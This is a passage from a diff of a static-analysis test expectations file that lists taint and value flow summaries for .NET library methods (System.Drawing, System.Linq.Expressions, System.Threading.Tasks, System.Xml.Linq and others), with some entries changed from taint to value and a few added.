System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;RectangleConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;RectangleF;Inflate;(System.Drawing.RectangleF,System.Single,System.Single);Argument[0];ReturnValue;value;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;SizeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;SizeFConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Dynamic;BinaryOperationBinder;FallbackBinaryOperation;(System.Dynamic.DynamicMetaObject,System.Dynamic.DynamicMetaObject,System.Dynamic.DynamicMetaObject);Argument[2];ReturnValue;value;dfc-generated | | System.Dynamic;BindingRestrictions;Combine;(System.Collections.Generic.IList);Argument[0].Element;ReturnValue;taint;df-generated | @@ -8686,7 +8884,7 @@ | System.Globalization;CultureInfo;GetCultureInfo;(System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;GetCultureInfo;(System.String,System.String);Argument[1];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;GetCultureInfoByIetfLanguageTag;(System.String);Argument[0];ReturnValue;taint;df-generated | -| System.Globalization;CultureInfo;ReadOnly;(System.Globalization.CultureInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Globalization;CultureInfo;ReadOnly;(System.Globalization.CultureInfo);Argument[0];ReturnValue;value;df-generated | | System.Globalization;CultureInfo;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;get_Calendar;();Argument[this];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;get_DisplayName;();Argument[this];ReturnValue;taint;df-generated | @@ -9637,11 +9835,11 @@ | System.Linq.Expressions;Expression;Unbox;(System.Linq.Expressions.Expression,System.Type);Argument[0];ReturnValue.Property[System.Linq.Expressions.UnaryExpression.Operand];value;dfc-generated | | System.Linq.Expressions;Expression;Variable;(System.Type,System.String);Argument[1];ReturnValue.Property[System.Linq.Expressions.ParameterExpression.Name];value;dfc-generated | | System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];Argument[0];taint;df-generated | -| System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;taint;df-generated | +| System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;value;df-generated | | System.Linq.Expressions;Expression;Update;(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable);Argument[1].Element;ReturnValue;taint;df-generated | | System.Linq.Expressions;Expression;Update;(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0].Element;Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;hq-generated | @@ -9650,15 +9848,15 @@ | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0].Element;Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitBlock;(System.Linq.Expressions.BlockExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitCatchBlock;(System.Linq.Expressions.CatchBlock);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitConstant;(System.Linq.Expressions.ConstantExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitDebugInfo;(System.Linq.Expressions.DebugInfoExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitDefault;(System.Linq.Expressions.DefaultExpression);Argument[0];ReturnValue;value;dfc-generated | @@ -9666,22 +9864,22 @@ | System.Linq.Expressions;ExpressionVisitor;VisitElementInit;(System.Linq.Expressions.ElementInit);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitExtension;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLabel;(System.Linq.Expressions.LabelExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLabelTarget;(System.Linq.Expressions.LabelTarget);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLambda;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitListInit;(System.Linq.Expressions.ListInitExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLoop;(System.Linq.Expressions.LoopExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberInit;(System.Linq.Expressions.MemberInitExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberListBinding;(System.Linq.Expressions.MemberListBinding);Argument[0].Property[System.Linq.Expressions.MemberListBinding.Initializers];ReturnValue.Property[System.Linq.Expressions.MemberListBinding.Initializers];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberListBinding;(System.Linq.Expressions.MemberListBinding);Argument[0];ReturnValue;value;dfc-generated | @@ -10137,7 +10335,7 @@ | System.Linq;Enumerable;SingleOrDefault;(System.Collections.Generic.IEnumerable,TSource);Argument[0].Element;ReturnValue;value;dfc-generated | | System.Linq;Enumerable;SingleOrDefault;(System.Collections.Generic.IEnumerable,TSource);Argument[1];ReturnValue;value;dfc-generated | | System.Linq;Enumerable;Skip;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0].Element;ReturnValue.Element;value;manual | -| System.Linq;Enumerable;SkipLast;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq;Enumerable;SkipLast;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0];ReturnValue;value;df-generated | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;manual | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[0].Element;ReturnValue.Element;value;manual | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;manual | @@ -11698,6 +11896,7 @@ | System.Net;HttpListenerRequest;get_ProtocolVersion;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_RawUrl;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_Url;();Argument[this];ReturnValue;taint;df-generated | +| System.Net;HttpListenerRequest;get_UrlReferrer;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_UserAgent;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_UserHostName;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerResponse;AppendCookie;(System.Net.Cookie);Argument[0];Argument[this].Property[System.Net.HttpListenerResponse.Cookies].Element;value;dfc-generated | @@ -12545,7 +12744,7 @@ | System.Reflection;MethodInfo;get_ReturnParameter;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInfo;get_ReturnType;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInfo;get_ReturnTypeCustomAttributes;();Argument[this];ReturnValue;taint;df-generated | -| System.Reflection;MethodInfoExtensions;GetBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Reflection;MethodInfoExtensions;GetBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;value;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object);Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object,System.Object);Argument[0];Argument[this];taint;df-generated | @@ -12631,7 +12830,7 @@ | System.Reflection;ReflectionTypeLoadException;get_Message;();Argument[this].Property[System.Exception.Message];ReturnValue;value;dfc-generated | | System.Reflection;ReflectionTypeLoadException;get_Message;();Argument[this].SyntheticField[System.Exception._message];ReturnValue;value;dfc-generated | | System.Reflection;RuntimeReflectionExtensions;GetMethodInfo;(System.Delegate);Argument[0].Property[System.Delegate.Method];ReturnValue;value;dfc-generated | -| System.Reflection;RuntimeReflectionExtensions;GetRuntimeBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Reflection;RuntimeReflectionExtensions;GetRuntimeBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;value;df-generated | | System.Reflection;RuntimeReflectionExtensions;GetRuntimeInterfaceMap;(System.Reflection.TypeInfo,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Reflection;TypeFilter;BeginInvoke;(System.Type,System.Object,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Reflection;TypeInfo;AsType;();Argument[this];ReturnValue;value;dfc-generated | @@ -13080,8 +13279,12 @@ | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;ToString;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customServiceNames].Element;ReturnValue;taint;dfc-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;get_CustomChannelBinding;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customChannelBinding];ReturnValue;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;get_CustomServiceNames;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customServiceNames];ReturnValue;value;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.Collections.IEnumerable);Argument[0].Element;ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.Collections.IEnumerable);Argument[0].Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.String);Argument[0];ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | @@ -13733,7 +13936,7 @@ | System.Text.RegularExpressions;GroupCollection;get_Item;(System.String);Argument[this].Element;ReturnValue;value;manual | | System.Text.RegularExpressions;GroupCollection;get_Keys;();Argument[this];ReturnValue;taint;df-generated | | System.Text.RegularExpressions;GroupCollection;get_Values;();Argument[this];ReturnValue;taint;df-generated | -| System.Text.RegularExpressions;Match;NextMatch;();Argument[this];ReturnValue;taint;df-generated | +| System.Text.RegularExpressions;Match;NextMatch;();Argument[this];ReturnValue;value;df-generated | | System.Text.RegularExpressions;Match;Synchronized;(System.Text.RegularExpressions.Match);Argument[0];ReturnValue;value;dfc-generated | | System.Text.RegularExpressions;MatchCollection;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Text.RegularExpressions;MatchEvaluator;BeginInvoke;(System.Text.RegularExpressions.Match,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -14356,13 +14559,13 @@ | System.Threading.Tasks;Task;Task;(System.Action,System.Object,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | | System.Threading.Tasks;Task;Task;(System.Action,System.Object,System.Threading.Tasks.TaskCreationOptions);Argument[1];Argument[0].Parameter[0];value;manual | | System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[1];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[2];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WhenAll;(System.Collections.Generic.IEnumerable>);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | | System.Threading.Tasks;Task;WhenAll;(System.ReadOnlySpan>);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | | System.Threading.Tasks;Task;WhenAll;(System.Threading.Tasks.Task[]);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | @@ -14463,11 +14666,11 @@ | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.CancellationToken,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.Tasks.TaskCreationOptions);Argument[0].ReturnValue;Argument[this].Property[System.Threading.Tasks.Task`1.Result];value;manual | | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | -| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;get_Result;();Argument[this];ReturnValue;taint;manual | | System.Threading.Tasks;TaskAsyncEnumerableExtensions;ConfigureAwait;(System.IAsyncDisposable,System.Boolean);Argument[0];ReturnValue;taint;df-generated | | System.Threading.Tasks;TaskAsyncEnumerableExtensions;ConfigureAwait;(System.Collections.Generic.IAsyncEnumerable,System.Boolean);Argument[0];ReturnValue;taint;df-generated | @@ -14947,7 +15150,7 @@ | System.Threading.Tasks;ValueTask;AsTask;();Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];value;dfc-generated | | System.Threading.Tasks;ValueTask;ConfigureAwait;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks;ValueTask;GetAwaiter;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;ValueTask;Preserve;();Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;ValueTask;Preserve;();Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;ValueTask;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks;ValueTask;ValueTask;(System.Threading.Tasks.Sources.IValueTaskSource,System.Int16);Argument[0];Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj];value;dfc-generated | | System.Threading.Tasks;ValueTask;ValueTask;(System.Threading.Tasks.Task);Argument[0];Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj];value;dfc-generated | @@ -15181,7 +15384,9 @@ | System.Xml.Linq;XContainer;Add;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XContainer;Add;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XContainer;Add;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XContainer;Add;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;AddFirst;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XContainer;AddFirst;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | 